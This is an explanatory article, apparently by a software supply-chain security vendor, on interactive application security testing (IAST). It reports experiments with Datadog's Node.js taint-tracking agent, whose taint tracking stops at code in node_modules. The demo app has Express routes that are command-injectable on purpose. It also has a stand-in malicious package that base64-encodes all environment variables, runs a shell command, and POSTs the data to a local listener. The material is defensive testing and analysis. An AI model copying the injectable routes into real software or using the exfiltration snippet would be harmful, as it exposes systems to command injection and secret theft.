Interactive Application Security Testing (IAST)
IAST is security testing from inside a running app: an agent tracks untrusted input through the code and flags it when it reaches a dangerous call.
Also known as Instrumentation-based application security testing, Passive IAST, Active IAST
Interactive application security testing (IAST), also called instrumentation-based testing, loads an agent into a running application, marks request data as tainted, tracks that taint through string operations, and reports a vulnerability when tainted data reaches a dangerous call such as a SQL query or shell command. IAST finds injection flaws during ordinary functional tests, without sending attack payloads.
IAST is the most precise way we know to find injection bugs in first-party code, because it reports a data flow it watched happen rather than one that might happen. Its blind spots are just as concrete. IAST sees only code your tests execute, only data flows its vendor instrumented, and nothing about whether a dependency is malicious. We ran Datadog's open-source IAST engine on Node.js and found that it tracks taint through application code but not through code under node_modules. IAST does not replace SAST, and it is the wrong tool for supply chain malware.
What is IAST?
#IAST is dynamic testing performed from inside the application rather than against it from outside. NIST added it to its control catalog in SP 800-53 Rev. 5, published in September 2020, as enhancement SA-11(9). The control requires developers to employ IAST tools "to identify flaws and document the results." NIST's guidance defines IAST as "a method of detecting vulnerabilities by observing applications as they run during testing."
Gartner put IAST on its top 10 information security technologies list on June 24, 2014, saying it "brings the best of SAST and DAST into a single solution." That framing is half right. IAST shares the code-level view of static application security testing (SAST): a finding names a file, a line, and a stack trace. IAST shares the dependence on execution of dynamic application security testing (DAST): it learns only from code that actually runs.
IAST comes in two operating modes, and vendors use the same name for both.
- Passive IAST watches traffic you already generate: functional tests, QA sessions, or a crawler. The agent alone produces findings.
- Active IAST pairs the agent with a scanner that sends attack payloads. The agent then confirms which payloads reached a sink, which cuts DAST false positives.
This article is mostly about passive IAST, because that is where the in-process mechanism does all the work. IAST is one category within application security testing (AST), alongside SAST, DAST, and software composition analysis (SCA).
How does IAST work?
#IAST works in three steps: tag sources, propagate taint, and check sinks.
- Sources. The agent marks data that enters through framework entry points as tainted: query parameters, headers, cookies, request bodies, path parameters, and sometimes database rows. In Datadog's Node.js tracer, each source is wired by hand to a specific library, including Express, Fastify, body-parser, multer, cookie, pg, Sequelize, and GraphQL.
- Propagation. Every operation that derives a new string from a tainted one must carry the taint forward, with byte ranges, so the agent knows which characters of the result came from the request.
- Sinks. The agent hooks functions that turn strings into instructions: shell execution, SQL queries, file opens, outbound URLs, redirects, and deserializers. If tainted bytes reach a sink unsanitized, the agent reports the flow.
Sources and sinks are the easy part, because they are a known list of functions. Propagation is the hard part, and the runtime decides how hard.
Propagation on the JVM
#A Java String is an immutable object with identity. An agent can keep a side table that maps string instances to taint ranges, then rewrite bytecode at the call sites of methods such as StringBuilder.append and toString so each call copies ranges to its result. Datadog's Java agent does exactly this with call-site instrumentation annotated @Propagation.
Propagation in JavaScript
#JavaScript strings are primitives, and + is a V8 operator, not a method an agent can wrap. Datadog's Node.js tracer therefore rewrites your source code before it runs. It wraps Module.prototype._compile and passes each first-party file through a WebAssembly rewriter. We fed the rewriter a four-line request handler:
function handler (req) {
const cmd = 'echo Hello, ' + req.query.name
return cmd
}The rewriter returned this (prelude trimmed):
function handler(req) {
let __datadog_hblzkq_0;
const cmd = (__datadog_hblzkq_0 = req.query.name, _ddiast.plusOperator('echo Hello, ' + __datadog_hblzkq_0, 'echo Hello, ', __datadog_hblzkq_0));
return cmd;
}The concatenation still happens, but _ddiast.plusOperator sees both operands and the result, and asks a native module to copy the taint range of req.query.name onto the new string. Taint lives in a per-request table keyed by a transaction ID, so it disappears when the request ends. The same treatment applies to template literals, concat, join, replace, slice, substring, trim, and case conversion. String methods outside that list, such as padStart or repeat, are not rewritten.
A real IAST finding from a harmless request
#The defining property of passive IAST is that it reports an injection flaw from a request that contains no attack. We reproduced this with dd-trace 6.24.0, published November 5, 2026, on Node.js 22. The application below has four routes. Routes /a, /b, and /c all build a shell command from a query parameter; they differ only in where the concatenation happens.
const express = require('express')
const { exec } = require('child_process')
const depFmt = require('shell-fmt') // node_modules/shell-fmt
const localFmt = require('./lib/fmt') // same code, first-party path
require('telemetry-lite') // malicious stand-in
const app = express()
app.get('/a', (req, res) => {
exec('echo Hello, ' + req.query.name, (e, out) => res.send(out))
})
app.get('/b', (req, res) => {
exec(depFmt(req.query.name), (e, out) => res.send(out))
})
app.get('/c', (req, res) => {
exec(localFmt(req.query.name), (e, out) => res.send(out))
})
app.get('/admin/export', (req, res) => {
exec('tar czf /tmp/' + req.query.file + '.tgz /srv', () => res.end())
})
app.listen(3000)shell-fmt and lib/fmt.js contain identical code: a function that returns 'echo Hello, ' + name. We started the app with the agent, pointed the tracer at a small HTTP listener standing in for the Datadog Agent, decoded the MessagePack trace payloads, and sent one benign request.
$ DD_IAST_ENABLED=true DD_IAST_REQUEST_SAMPLING=100 DD_IAST_REDACTION_ENABLED=false \
node -r dd-trace/init app.js &
$ curl 'http://localhost:3000/a?name=alice'
Hello, aliceThe span carried this finding in its _dd.iast.json tag:
{
"sources": [
{ "origin": "http.request.parameter", "name": "name", "value": "alice" }
],
"vulnerabilities": [
{
"type": "COMMAND_INJECTION",
"hash": 380013292,
"evidence": {
"valueParts": [
{ "value": "echo Hello, " },
{ "value": "alice", "source": 0 }
]
},
"location": { "stackId": "1", "path": "app.js", "line": 9 }
},
{ "type": "XCONTENTTYPE_HEADER_MISSING", "hash": 5983165822 }
]
}The value alice is harmless, and the command ran harmlessly. The agent reported command injection anyway, because it knew the last five characters of the shell command came from a query parameter. A DAST scanner would have had to send a payload such as ;id and infer success from the response. IAST also reported a missing X-Content-Type-Options header, a configuration check that needs no taint at all.
By default the tracer redacts evidence. With redaction on, the same report replaces alice with the placeholder pattern abcde, which keeps request data out of your observability backend.
Where taint tracking stops
#Datadog's Node.js IAST rewrites only first-party files, so taint does not survive string operations inside node_modules. We sent the same benign request to all three routes:
Figure 1 in text: the request GET /a?name=alice enters through the Express query parser, which tags the string "alice" as tainted over bytes 0 to 5, end exclusive, with origin http.request.parameter. In path A, the concatenation runs in app.js, which the agent rewrote at load, so _ddiast.plusOperator copies the range and the result "echo Hello, alice" carries taint over bytes 12 to 17, end exclusive. The exec() sink sees tainted bytes and reports COMMAND_INJECTION at app.js line 9. In path B, the identical concatenation runs in node_modules/shell-fmt, which the rewriter skipped. V8 performs a plain concatenation, the new string has no taint ranges, the exec() sink has nothing to check, and the agent reports nothing.
| Route | Where the concatenation runs | Requested | IAST finding |
|---|---|---|---|
| /a | app.js | Yes | COMMAND_INJECTION, app.js line 9 |
| /b | node_modules/shell-fmt/index.js | Yes | None |
| /c | lib/fmt.js (same code as /b) | Yes | COMMAND_INJECTION, app.js line 15 |
| /admin/export | app.js | No | None |
Routes /b and /c run byte-for-byte identical code. The only difference is the file path. The cause is a deliberate filter in the tracer, taint-tracking/filter.js:
const isPrivateModule = function (file) {
return file && !file.includes(NODE_MODULES)
}The likely reason is cost: rewriting every string operation in every dependency would multiply the agent's overhead. Datadog compensates by hand-instrumenting popular frameworks as sources and sinks. The cost is that any vulnerable flow passing through string handling inside some other dependency produces no finding. Other engines may draw this line elsewhere, so ask your vendor where theirs is.
We found two more gaps that never announce themselves.
- Syntax coverage. In dd-trace 6.24.0 (wasm-js-rewriter 5.0.4), expression-bodied arrow functions were not rewritten.
(name) => 'echo Hello, ' + namecame back unchanged, while the same function with a block body was instrumented. - Sampling. By default the Node.js agent analyzes 30% of requests, at most 2 concurrently, and reports at most 2 vulnerabilities per request. We set sampling to 100 for the demo. The tracer enforces these limits in a module named
overhead-controller.js, which tells you why they exist.
IAST false negatives are silent: a missed flow looks exactly like a clean route.
Benchmarks do not measure this. The OWASP Benchmark for Java, version 1.2, has 2,740 test cases across 11 vulnerability categories. Its IAST instructions have you run a crawler that hits every page, so coverage is complete by construction. Datadog reported a 100% score on May 1, 2024. A perfect benchmark score and a silent false negative in production can both be true.
Can IAST replace SAST?
#IAST cannot replace SAST, because the two make opposite errors. IAST under-approximates: it reports only flows it watched execute, so untested routes, sampled-out requests, and uninstrumented code produce nothing. SAST over-approximates: it reasons about every path, including ones that never run, so it finds more and reports more false positives. The /admin/export route above is a command injection that a SAST engine with a command-injection rule would flag on the first scan, and that IAST will never see until a test calls it.
Each approach also needs different things to run. SAST needs source code or bytecode and nothing else. IAST needs a supported runtime, a deployed build, an agent, and a test suite or crawler that drives the application.
| SAST | DAST | IAST | Static reachability for dependencies | |
|---|---|---|---|---|
| What it observes | Source or bytecode | HTTP responses | Taint flowing through a running app | Call graph of app plus dependencies |
| Needs a running app | No | Yes | Yes, with an agent | No |
| Misses | Runtime configuration, reflection-heavy flows | Flaws with no visible symptom in responses | Code not executed or not instrumented | Vulnerabilities not yet mapped to functions |
| False positives | High | Medium | Low | Medium, by design |
| Sees dependency code | Usually not | No | Only where instrumented | Yes |
| Detects malicious packages | No | No | No | No |
| Where it fits | Every pull request | Staging, external surface | QA, alongside functional tests | CVE triage in CI |
Verdict: run SAST on every pull request, because it is the cheapest way to find flaws in your own code before anything runs. Add IAST in QA if your stack is supported and your functional tests are good, and treat its findings as high-confidence and its silence as meaningless. Use DAST for the external attack surface. For known vulnerabilities in dependencies, use reachability analysis rather than IAST's runtime library inventory.
That last choice is about error direction again. Runtime observation tells you a vulnerable function ran during your tests. Static reachability tells you whether any path in your code can reach it. Our Tier 1 reachability builds a call graph across application and dependency code and deliberately over-approximates, marking a CVE reachable or unknown when in doubt. It typically filters out about 80% of CVEs as unreachable. Recording which functions execute is a much lighter technique than full taint tracking, and our write-up on static vs. runtime reachability treats the two as complementary.
Can IAST detect malicious dependencies?
#IAST does not detect malicious dependencies, for two structural reasons: timing and threat model. Neither is a product gap that a better agent would close.
Most package malware runs before the agent exists
#An IAST agent loads when the application starts under test. Supply chain malware usually runs earlier, from install scripts that the package manager executes on a developer laptop or CI runner. In our coverage of npm v12, we wrote that "almost every worm and credential stealer that hit the registry since late 2025 ran at install time, before any application code loaded." npm v12 made dependency install scripts opt-in on July 8, 2026, following pnpm 10 in January 2025. Both changes are right, and both act at a stage IAST never sees.
Malicious code is not tainted input
#IAST asks whether attacker-controlled input reaches a sink. A malicious package is not input. It is code the application already chose to run, and it reads secrets that came from the environment, not from a request. Our test app loads telemetry-lite, which does this on require:
// Stand-in for a malicious dependency. Runs on require.
const { exec } = require('child_process')
const http = require('http')
const loot = Buffer.from(JSON.stringify(process.env)).toString('base64')
exec('id > /tmp/stage.txt')
http.request({ host: '127.0.0.1', port: 9999, method: 'POST', path: '/c' })
.on('error', () => {}).end(loot)The shell command ran, and our listener on port 9999 received the full base64-encoded environment. The IAST agent reported nothing about either, which is correct by its own rules: no tainted byte reached a sink. The same in-process limits apply to runtime application self-protection (RASP), which shares IAST's instrumentation but blocks instead of reporting.
The evidence that telemetry-lite is malware lives in its code, not in any request. That is what we analyze: what a package actually contains, before it is installed. Our alerts flag capabilities such as Environment variable access, Network access, and Shell access in a package's code, independent of whether request data is involved. That analysis does not find injection bugs in your own handlers, which is the job IAST does well.
The agent is a dependency too
#An IAST agent runs before your code, rewrites it, and updates on its vendor's schedule. dd-trace 6.24.0 installs 29 packages, including native and WebAssembly binaries; none declare install scripts. Treat the agent like any privileged dependency, and pin and review it as such.
The open problem: taint stops where your code ends
#IAST is most precise in the code you wrote and least precise in the code you imported. That is not only a quirk of one product. Propagation tracking on every string operation is expensive, so every engine has to decide where to spend it, and first-party code is the obvious place. Everything else that handles strings becomes a gap where taint can disappear without a trace.
Run IAST alongside SCA and SAST, not instead of them. For SQL injection and command injection in your own handlers, an IAST finding from a benign test request is the strongest evidence a scanner can give you. For the code you did not write, the evidence has to come from the package itself: what it contains, what it can do, and whether your code can reach it.
